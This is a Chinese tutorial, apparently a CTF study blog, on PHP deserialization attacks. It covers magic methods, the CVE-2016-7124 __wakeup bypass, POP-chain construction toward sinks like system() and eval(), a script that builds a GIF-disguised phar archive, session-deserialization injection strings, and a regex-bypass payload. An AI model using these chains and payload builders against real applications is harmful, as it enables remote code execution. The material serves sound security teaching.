1. 序列化与反序列化

面向对象

  • 将各类属性和过程聚合为一个整体。

    class Student {
        var $name;
        var $age;
    
        function whoami() {
            echo "I am ".$this->name;
        }
    }
  • -> 对象
    定义 -> 具体事物:实例化

    $a = new Student();
    $b = new Student();
    
    $a->name = "Alice";
    $b->name = "Bob";
    
    $a->whoami();
    $b->whoami();

序列化

  • 将内存中的对象保存为文件

    1. 配置参数对象
    2. 缓存
    3. 网路传输
    4. 状态保存

    NSS图片

    echo serialize($a);

反序列化

  • 将序列化字符串重新变成对象
    NSS图片
    NSS图片

魔术方法

  • 一类特殊的方法,在对象的整个生命周期中会随着特殊事件触发而自动调用
__destruct() 对象销毁,或者脚本执行完时触发;

2.属性修饰符

继承

class Student {
    public $name;
    private $age;
    protected $sex;

    function whoami() {
        echo "I am ".$this->name;
    }
}
class GoodStudent extends Student {
    function getSex() {
        echo $this->sex;
    }
}

$gs = new GoodStudent();
$gs->sex = 1;
$gs->getSex();

属性修饰符

public: 公共的:在所有位置都可访问
protected: 受保护的:只能再该类内部和该类的子类中访问
private: 私有的:只能在该类内部访问

3. 反序列化绕过技巧

属性修饰符的绕过

CVE-2016-7124

  • PHP5 < 5.6.25
    PHP7 < 7.0.10
    序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。

字符串绕过

  • 利用PHP解析规则构造字符串

4. POP链构造

POP链

  • POP即面向属性编程(Property Oriented Programing),利用代码中的各类对象属性和魔术方法,来构造一条人为控制的调用路线。
  1. 确定入口
    能够开始执行调用的地方。
    1. 静态函数调用
      $a->test();
    2. 动态函数调用
      $b = 'test';
      $a->{$b}();
    3. 魔术方法
      __destruct()  // 对象销毁时自动执行
      __wakeup()  // 反序列化中自动执行
  2. 确定出口(利用点)
    1. 类方法中的危险函数
      eval()
      system()
      shell_exec()
      file_get_contents()
    2. 涉及FLAG的地方。
  3. 构造属性调用链
    通过魔术方法构造调用链。

魔术方法

__destruct()  // 对象销毁时自动执行
__wakeup()  // 反序列化中自动执行

__toString()   // 将对象转换为字符串是自动触发
__invoke()     // 将对象作为函数调用时触发
__get($name)        // 访问对象中不存在的属性时触发,并将名字作为参数传入
__set($name, $value)// 对对象中不存在的属性赋值时触发,并将名字和值作为参数传入
__call($name, $args)// 调用对象中不存在的方法时触发,并将名字和参数数组作为参数传入

EXP

  • P5

    class NSS1 {
        var $name;
    }
    
    class NSS2 {
        var $name;
    }
    
    $a = new NSS1();
    $a->name = new NSS2();
    
    echo serialize($a);
  • P6

    class NSS1 {
        var $name;
    }
    
    class NSS2 {
        var $name;
    }
    
    class NSS3 {
        var $name;
        var $res;
    }
    
    $a = new NSS1();
    $a->name = new NSS2();
    $a->name->name = new NSS3();
    $a->name->name->name = new NSS3();
    $a->name->name->name->res = 'nssctf';
    
    echo serialize($a);
  • P7

    class NSS1 {
        var $name;
    }
    
    class NSS2 {
        var $name;
        private $test;
    
        function setTest($v) {
            $this->test=$v;
        }
    }
    
    class NSS3 {
        var $name;
        var $res;
    }
    $a = new NSS1();
    $a->name = new NSS2();
    $a->name->setTest('xxx');
    $a->name->name = new NSS3();
    $a->name->name->name = new NSS2();
    
    $b = new NSS3();
    $b->name = new NSS3();
    $a->name->name->name->setTest($b);
    
    echo urlencode(serialize($a));

5. Phar反序列化&session反序列化

phar反序列化

NSS图片

  • 要求:
    1. 可以上传文件
    2. 可以读取文件
    3. 读取文件时未对路径及协议做过滤
  • 注意:修改php.ini配置
class A { 
    public $a;
} 
class B { 
    public $b;
} 
$a = new A();
$a->a = new B();
$a->a->b = "phpinfo();";

$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

session反序列化

NSS图片
NSS图片

class NSS
{
    public $ctf;
}

// $_SESSION['a'] = 1;
// $_SESSION['b'] = 2;
// a|i:1;b|i:2;
// a:2:{s:1:"|a";i:1;s:1:"b";i:2;}
// a:1:{s:4:"name";s:38:"|O:3:"NSS":1:{s:3:"ctf";s:6:"whoami";}";}
$a = new NSS();
$a->ctf = 'whoami';

echo serialize($a);

示例

正则绕过

if (preg_match('/[oc]:\d+:/i', $a)) {
    die('no no no');
}
if (!preg_match('/"name":"nss";/i', $a)) {
    die('no no no');
}



//O:+3:"NSS":1:{s:4:"name";s:3:"nss";}"name":"nss";

toString

class NSS1 {
    var $name = 'nss';

    function __destruct() {
        echo $this->name;
    }
}

class NSS2 {
    var $name ='666';

    function __toString()
    {        
        echo getenv('FLAG');
        return "hello";
    }
}

$a=new NSS1();
$a->name=new NSS2();
echo(serialize($a));
最后修改:2024 年 03 月 30 日
如果觉得我的文章对你有用,请随意赞赏